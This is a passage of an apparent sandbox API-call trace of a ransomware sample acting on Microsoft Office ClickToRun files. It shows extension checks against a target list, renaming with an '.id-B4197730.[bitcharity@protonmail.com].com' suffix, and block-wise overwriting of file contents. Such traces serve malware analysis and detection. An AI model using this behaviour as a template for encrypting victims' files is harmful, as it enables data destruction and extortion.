shared\\clicktorun\\mso40uires.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0293.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.539] lstrlenW (lpString=".doc") returned 4 [0293.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.539] lstrlenW (lpString=".docx") returned 5 [0293.539] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.539] lstrlenW (lpString=".pdf") returned 4 [0293.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".xls") returned 4 [0293.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".xlsx") returned 5 [0293.540] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.540] lstrlenW (lpString=".ppt") returned 4 [0293.540] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString=".zip") returned 4 [0293.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".rar") returned 4 [0293.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".bz2") returned 4 [0293.540] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.540] lstrlenW (lpString=".7z") returned 3 [0293.540] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString=".dbf") returned 4 [0293.540] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString=".1cd") returned 4 [0293.540] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString=".jpg") returned 4 [0293.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.540] lstrlenW (lpString=".doc") returned 4 [0293.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".docx") returned 5 [0293.540] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0293.540] lstrlenW (lpString=".pdf") returned 4 [0293.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".xls") returned 4 [0293.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.540] lstrlenW (lpString=".xlsx") returned 5 [0293.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0293.541] lstrlenW (lpString=".ppt") returned 4 [0293.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.541] lstrlenW (lpString=".zip") returned 4 [0293.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.541] lstrlenW (lpString=".rar") returned 4 [0293.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.541] lstrlenW (lpString=".bz2") returned 4 [0293.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.615] lstrlenW (lpString=".7z") returned 3 [0293.616] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.616] lstrlenW (lpString=".dbf") returned 4 [0293.616] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.616] lstrlenW (lpString=".1cd") returned 4 [0293.616] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0293.616] lstrlenW (lpString=".jpg") returned 4 [0293.616] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.616] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.616] lstrlenW (lpString="msvcp120.dll") returned 12 [0293.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0293.616] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=660136) returned 1 [0293.616] CloseHandle (hObject=0x1088) returned 1 [0293.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0293.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.617] lstrlenW (lpString=".doc") returned 4 [0293.617] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString=".docx") returned 5 [0293.617] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.617] lstrlenW (lpString=".pdf") returned 4 [0293.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString=".xls") returned 4 [0293.617] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString=".xlsx") returned 5 [0293.617] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.617] lstrlenW (lpString=".ppt") returned 4 [0293.617] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.617] lstrlenW (lpString=".zip") returned 4 [0293.617] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString=".rar") returned 4 [0293.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.617] lstrlenW (lpString=".bz2") returned 4 [0293.617] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.617] lstrlenW (lpString=".7z") returned 3 [0293.617] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.617] lstrlenW (lpString=".dbf") returned 4 [0293.617] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.617] lstrlenW (lpString=".1cd") returned 4 [0293.617] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString=".jpg") returned 4 [0293.618] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString=".doc") returned 4 [0293.618] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString=".docx") returned 5 [0293.618] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.618] lstrlenW (lpString=".pdf") returned 4 [0293.618] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString=".xls") returned 4 [0293.618] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString=".xlsx") returned 5 [0293.618] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.618] lstrlenW (lpString=".ppt") returned 4 [0293.618] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString=".zip") returned 4 [0293.618] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString=".rar") returned 4 [0293.618] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.618] lstrlenW (lpString=".bz2") returned 4 [0293.618] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.618] lstrlenW (lpString=".7z") returned 3 [0293.618] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString=".dbf") returned 4 [0293.618] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.618] lstrlenW (lpString=".1cd") returned 4 [0293.618] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0293.619] lstrlenW (lpString=".jpg") returned 4 [0293.619] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.619] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.619] lstrlenW (lpString="msvcp140.dll") returned 12 [0293.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0293.620] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=635040) returned 1 [0293.620] CloseHandle (hObject=0x1088) returned 1 [0293.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0293.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.621] lstrlenW (lpString=".doc") returned 4 [0293.621] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString=".docx") returned 5 [0293.621] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.621] lstrlenW (lpString=".pdf") returned 4 [0293.621] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString=".xls") returned 4 [0293.621] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString=".xlsx") returned 5 [0293.621] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.621] lstrlenW (lpString=".ppt") returned 4 [0293.621] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.621] lstrlenW (lpString=".zip") returned 4 [0293.621] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString=".rar") returned 4 [0293.621] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.621] lstrlenW (lpString=".bz2") returned 4 [0293.621] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.621] lstrlenW (lpString=".7z") returned 3 [0293.621] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.622] lstrlenW (lpString=".dbf") returned 4 [0293.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.622] lstrlenW (lpString=".1cd") returned 4 [0293.622] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.622] lstrlenW (lpString=".jpg") returned 4 [0293.622] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.622] lstrlenW (lpString=".doc") returned 4 [0293.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.622] lstrlenW (lpString=".docx") returned 5 [0293.622] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.622] lstrlenW (lpString=".pdf") returned 4 [0293.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.622] lstrlenW (lpString=".xls") returned 4 [0293.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.622] lstrlenW (lpString=".xlsx") returned 5 [0293.623] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.623] lstrlenW (lpString=".ppt") returned 4 [0293.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.623] lstrlenW (lpString=".zip") returned 4 [0293.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.623] lstrlenW (lpString=".rar") returned 4 [0293.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.623] lstrlenW (lpString=".bz2") returned 4 [0293.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.623] lstrlenW (lpString=".7z") returned 3 [0293.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.623] lstrlenW (lpString=".dbf") returned 4 [0293.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.623] lstrlenW (lpString=".1cd") returned 4 [0293.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0293.624] lstrlenW (lpString=".jpg") returned 4 [0293.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.624] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.624] lstrlenW (lpString="msvcr120.dll") returned 12 [0293.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0293.624] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=963240) returned 1 [0293.624] CloseHandle (hObject=0x1088) returned 1 [0293.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0293.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0293.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0293.625] lstrlenW (lpString=".doc") returned 4 [0293.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString=".docx") returned 5 [0293.625] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.625] lstrlenW (lpString=".pdf") returned 4 [0293.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString=".xls") returned 4 [0293.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString=".xlsx") returned 5 [0293.625] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.625] lstrlenW (lpString=".ppt") returned 4 [0293.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0293.625] lstrlenW (lpString=".zip") returned 4 [0293.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString=".rar") returned 4 [0293.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.625] lstrlenW (lpString=".bz2") returned 4 [0293.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.625] lstrlenW (lpString=".7z") returned 3 [0293.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0293.625] lstrlenW (lpString=".dbf") returned 4 [0293.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0293.739] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0x0) returned 1 [0293.739] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0293.739] ReadFile (in: hFile=0x1088, lpBuffer=0x3d21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d21058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0294.118] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0294.118] ReadFile (in: hFile=0x1088, lpBuffer=0x3d61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d61058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0294.415] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x333fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0294.415] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x333fc24 | out: lpNewFilePointer=0x0) returned 1 [0294.415] ReadFile (in: hFile=0x1088, lpBuffer=0x3da1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x333fc30, lpOverlapped=0x0 | out: lpBuffer=0x3da1058*, lpNumberOfBytesRead=0x333fc30*=0x40000, lpOverlapped=0x0) returned 1 [0294.591] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.591] WriteFile (in: hFile=0x1088, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x333fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0294.606] SetEndOfFile (hFile=0x1088) returned 1 [0294.607] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40000) returned 0x3ea2088 [0294.607] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0294.607] WriteFile (in: hFile=0x1088, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.608] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0294.608] WriteFile (in: hFile=0x1088, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.613] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x333fc74 | out: lpNewFilePointer=0x0) returned 1 [0294.613] WriteFile (in: hFile=0x1088, lpBuffer=0x3ea2088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x333fc80, lpOverlapped=0x0 | out: lpBuffer=0x3ea2088*, lpNumberOfBytesWritten=0x333fc80*=0x40000, lpOverlapped=0x0) returned 1 [0294.615] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0294.615] CloseHandle (hObject=0x1088) returned 1 [0294.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.615] lstrlenW (lpString=".doc") returned 4 [0294.615] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.615] lstrlenW (lpString=".docx") returned 5 [0294.615] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0294.615] lstrlenW (lpString=".pdf") returned 4 [0294.615] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.615] lstrlenW (lpString=".xls") returned 4 [0294.615] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.615] lstrlenW (lpString=".xlsx") returned 5 [0294.615] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0294.615] lstrlenW (lpString=".ppt") returned 4 [0294.616] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW (lpString=".zip") returned 4 [0294.616] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.616] lstrlenW (lpString=".rar") returned 4 [0294.616] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.616] lstrlenW (lpString=".bz2") returned 4 [0294.616] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.616] lstrlenW (lpString=".7z") returned 3 [0294.616] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW (lpString=".dbf") returned 4 [0294.616] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW (lpString=".1cd") returned 4 [0294.616] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW (lpString=".jpg") returned 4 [0294.616] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW 